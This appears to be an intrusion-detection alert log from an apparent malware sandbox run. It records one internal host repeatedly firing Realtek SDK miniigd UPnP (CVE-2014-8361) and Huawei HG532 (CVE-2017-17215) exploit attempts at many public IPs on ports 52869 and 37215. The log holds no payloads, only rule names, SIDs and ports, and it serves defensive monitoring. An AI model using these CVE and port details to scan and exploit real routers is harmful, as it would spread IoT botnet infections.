ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 43.71.121.153

Timestamp:	07/20/24-23:01:46.891763
SID:	2831300
Source Port:	43436
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 168.54.72.251

Timestamp:	07/20/24-23:01:02.370068
SID:	2027339
Source Port:	43534
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.191.169.80

Timestamp:	07/20/24-23:01:34.044223
SID:	2835222
Source Port:	33566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.8.72.36

Timestamp:	07/20/24-23:01:24.915904
SID:	2835222
Source Port:	47214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 43.180.222.83

Timestamp:	07/20/24-23:01:49.120513
SID:	2027339
Source Port:	36432
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.157.232.183

Timestamp:	07/20/24-23:01:04.058922
SID:	2835222
Source Port:	45678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 51.49.44.101

Timestamp:	07/20/24-23:01:12.813695
SID:	2831300
Source Port:	42064
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 189.27.117.219

Timestamp:	07/20/24-23:01:51.517722
SID:	2025132
Source Port:	37782
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.34.80.193

Timestamp:	07/20/24-23:01:40.321965
SID:	2835222
Source Port:	57874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 36.185.15.35

Timestamp:	07/20/24-23:01:42.466150
SID:	2025132
Source Port:	58916
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 61.169.227.46

Timestamp:	07/20/24-23:01:42.985200
SID:	2027339
Source Port:	48740
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 153.94.71.254

Timestamp:	07/20/24-23:01:08.691384
SID:	2027339
Source Port:	46394
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 168.18.159.220

Timestamp:	07/20/24-23:01:42.632123
SID:	2025132
Source Port:	37554
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 93.44.110.204

Timestamp:	07/20/24-23:01:45.063335
SID:	2831300
Source Port:	45256
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 93.61.135.109

Timestamp:	07/20/24-23:01:25.935242
SID:	2027339
Source Port:	45436
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.108.55.229

Timestamp:	07/20/24-23:01:11.660067
SID:	2829579
Source Port:	52356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 166.142.205.252

Timestamp:	07/20/24-23:01:31.312736
SID:	2027339
Source Port:	49186
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 73.161.205.249

Timestamp:	07/20/24-23:01:49.631749
SID:	2027339
Source Port:	54194
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 190.187.129.147

Timestamp:	07/20/24-23:01:55.262010
SID:	2025132
Source Port:	38122
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 152.188.24.161

Timestamp:	07/20/24-23:01:43.843278
SID:	2831300
Source Port:	50424
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.240.87.211

Timestamp:	07/20/24-23:00:59.203960
SID:	2835222
Source Port:	59652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 66.14.7.167

Timestamp:	07/20/24-23:01:48.070705
SID:	2027339
Source Port:	34608
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 32.64.201.235

Timestamp:	07/20/24-23:01:55.802130
SID:	2027339
Source Port:	57742
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.244.76.85

Timestamp:	07/20/24-23:01:02.048113
SID:	2835222
Source Port:	57860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.199.42.244

Timestamp:	07/20/24-23:01:40.307219
SID:	2835222
Source Port:	34386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 158.249.141.193

Timestamp:	07/20/24-23:01:45.030115
SID:	2025132
Source Port:	41490
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.107.33.68

Timestamp:	07/20/24-23:01:49.741351
SID:	2027339
Source Port:	42866
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 13.31.40.78

Timestamp:	07/20/24-23:01:51.879276
SID:	2027339
Source Port:	60162
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.55.198.212

Timestamp:	07/20/24-23:01:40.321300
SID:	2835222
Source Port:	60802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 103.119.134.177

Timestamp:	07/20/24-23:02:20.036130
SID:	2025132
Source Port:	43370
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 169.239.10.111

Timestamp:	07/20/24-23:00:59.191389
SID:	2835222
Source Port:	56072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 65.82.234.209

Timestamp:	07/20/24-23:01:52.053251
SID:	2831300
Source Port:	33236
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 134.101.23.241

Timestamp:	07/20/24-23:01:43.415157
SID:	2027339
Source Port:	33562
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 70.120.208.1

Timestamp:	07/20/24-23:01:07.018425
SID:	2835222
Source Port:	50070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 216.216.135.51

Timestamp:	07/20/24-23:01:58.602024
SID:	2027339
Source Port:	52422
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 121.163.119.125

Timestamp:	07/20/24-23:01:46.525128
SID:	2025132
Source Port:	47322
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 2.108.114.50

Timestamp:	07/20/24-23:01:43.197088
SID:	2831300
Source Port:	55986
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 103.96.50.123

Timestamp:	07/20/24-23:01:25.796791
SID:	2027339
Source Port:	57286
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 207.198.69.39

Timestamp:	07/20/24-23:01:46.444817
SID:	2025132
Source Port:	54294
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 59.111.61.71

Timestamp:	07/20/24-23:01:47.940882
SID:	2025132
Source Port:	50980
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 118.229.228.64

Timestamp:	07/20/24-23:01:49.011895
SID:	2025132
Source Port:	50016
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 150.220.0.209

Timestamp:	07/20/24-23:02:09.237639
SID:	2831300
Source Port:	56754
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 190.13.238.183

Timestamp:	07/20/24-23:01:53.427882
SID:	2831300
Source Port:	37342
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 131.116.5.106

Timestamp:	07/20/24-23:02:02.570955
SID:	2027339
Source Port:	51478
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.236.253.31

Timestamp:	07/20/24-23:01:40.291616
SID:	2835222
Source Port:	39466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 213.131.100.211

Timestamp:	07/20/24-23:01:48.931855
SID:	2831300
Source Port:	46010
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 84.170.188.89

Timestamp:	07/20/24-23:01:34.053061
SID:	2829579
Source Port:	38084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 137.33.55.254

Timestamp:	07/20/24-23:01:00.636533
SID:	2835222
Source Port:	32936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 98.176.193.82

Timestamp:	07/20/24-23:01:02.789203
SID:	2025132
Source Port:	48232
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 20.28.196.248

Timestamp:	07/20/24-23:01:52.161566
SID:	2025132
Source Port:	47924
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 143.38.216.11

Timestamp:	07/20/24-23:01:26.734319
SID:	2025132
Source Port:	51386
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 59.99.39.216

Timestamp:	07/20/24-23:01:55.594888
SID:	2027339
Source Port:	41116
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 116.238.28.166

Timestamp:	07/20/24-23:01:51.021834
SID:	2027339
Source Port:	53978
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 193.184.52.222

Timestamp:	07/20/24-23:01:46.453936
SID:	2027339
Source Port:	57814
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 5.207.112.150

Timestamp:	07/20/24-23:01:31.314906
SID:	2027339
Source Port:	57786
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 81.147.177.5

Timestamp:	07/20/24-23:00:59.201622
SID:	2829579
Source Port:	36396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 135.205.140.164

Timestamp:	07/20/24-23:01:41.747994
SID:	2025132
Source Port:	52954
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 110.244.30.5

Timestamp:	07/20/24-23:01:47.915367
SID:	2025132
Source Port:	42506
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 68.106.199.227

Timestamp:	07/20/24-23:01:49.553792
SID:	2027339
Source Port:	35074
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.115.47.163

Timestamp:	07/20/24-23:01:32.034562
SID:	2835222
Source Port:	48106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.67.20.2

Timestamp:	07/20/24-23:01:00.634165
SID:	2829579
Source Port:	34358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.139.203.167

Timestamp:	07/20/24-23:01:02.113055
SID:	2835222
Source Port:	40466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.68.164.174

Timestamp:	07/20/24-23:01:42.780168
SID:	2027339
Source Port:	33652
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.206.255.142

Timestamp:	07/20/24-23:01:27.649912
SID:	2835222
Source Port:	50062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 5.252.81.48

Timestamp:	07/20/24-23:01:46.891763
SID:	2025132
Source Port:	48814
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.174.115.244

Timestamp:	07/20/24-23:00:57.220899
SID:	2835222
Source Port:	48734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.172.112.67

Timestamp:	07/20/24-23:01:34.044717
SID:	2829579
Source Port:	46162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.115.232.41

Timestamp:	07/20/24-23:00:59.196993
SID:	2829579
Source Port:	45996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 72.182.239.64

Timestamp:	07/20/24-23:01:57.978712
SID:	2025132
Source Port:	33088
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 116.78.34.252

Timestamp:	07/20/24-23:01:11.822392
SID:	2835222
Source Port:	58386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 8.18.22.34

Timestamp:	07/20/24-23:01:42.962388
SID:	2025132
Source Port:	59576
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 45.99.89.219

Timestamp:	07/20/24-23:01:49.946258
SID:	2027339
Source Port:	54036
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 87.76.92.180

Timestamp:	07/20/24-23:01:42.662837
SID:	2831300
Source Port:	55922
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 82.63.31.170

Timestamp:	07/20/24-23:01:08.571946
SID:	2831300
Source Port:	46826
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 130.136.141.197

Timestamp:	07/20/24-23:01:08.611391
SID:	2831300
Source Port:	48150
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 193.7.32.204

Timestamp:	07/20/24-23:01:02.259207
SID:	2025132
Source Port:	49352
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 52.64.207.91

Timestamp:	07/20/24-23:01:42.486621
SID:	2831300
Source Port:	33156
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 13.18.63.141

Timestamp:	07/20/24-23:01:01.479730
SID:	2027339
Source Port:	46728
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 5.252.81.48

Timestamp:	07/20/24-23:01:57.111220
SID:	2027339
Source Port:	49062
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 132.173.198.51

Timestamp:	07/20/24-23:01:52.609595
SID:	2025132
Source Port:	33306
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.237.7.212

Timestamp:	07/20/24-23:02:00.328412
SID:	2027339
Source Port:	40100
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.61.177.250

Timestamp:	07/20/24-23:01:20.181938
SID:	2835222
Source Port:	46510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 44.193.90.160

Timestamp:	07/20/24-23:01:54.515976
SID:	2025132
Source Port:	60950
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 129.68.201.164

Timestamp:	07/20/24-23:02:34.610209
SID:	2831300
Source Port:	53550
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 212.202.137.63

Timestamp:	07/20/24-23:01:31.331820
SID:	2027339
Source Port:	36730
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.175.115.88

Timestamp:	07/20/24-23:01:31.976649
SID:	2835222
Source Port:	45982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 117.174.229.249

Timestamp:	07/20/24-23:01:44.209629
SID:	2831300
Source Port:	55768
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.41.122.187

Timestamp:	07/20/24-23:00:59.185032
SID:	2829579
Source Port:	36304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 19.181.181.97

Timestamp:	07/20/24-23:01:31.982478
SID:	2829579
Source Port:	46772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 191.8.175.218

Timestamp:	07/20/24-23:01:46.580798
SID:	2025132
Source Port:	44132
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 153.234.108.85

Timestamp:	07/20/24-23:01:46.403723
SID:	2831300
Source Port:	53572
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.5.25.5

Timestamp:	07/20/24-23:00:57.222254
SID:	2835222
Source Port:	34142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 130.190.148.15

Timestamp:	07/20/24-23:01:05.033018
SID:	2025132
Source Port:	45276
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.72.248.222

Timestamp:	07/20/24-23:01:00.633635
SID:	2835222
Source Port:	53564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 53.50.131.136

Timestamp:	07/20/24-23:01:45.925226
SID:	2025132
Source Port:	54556
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.234.70.152

Timestamp:	07/20/24-23:01:20.098209
SID:	2829579
Source Port:	49382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 135.215.110.183

Timestamp:	07/20/24-23:01:44.766696
SID:	2027339
Source Port:	57578
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 47.97.62.221

Timestamp:	07/20/24-23:01:55.863393
SID:	2027339
Source Port:	48716
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 198.213.74.132

Timestamp:	07/20/24-23:01:44.550538
SID:	2027339
Source Port:	38384
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

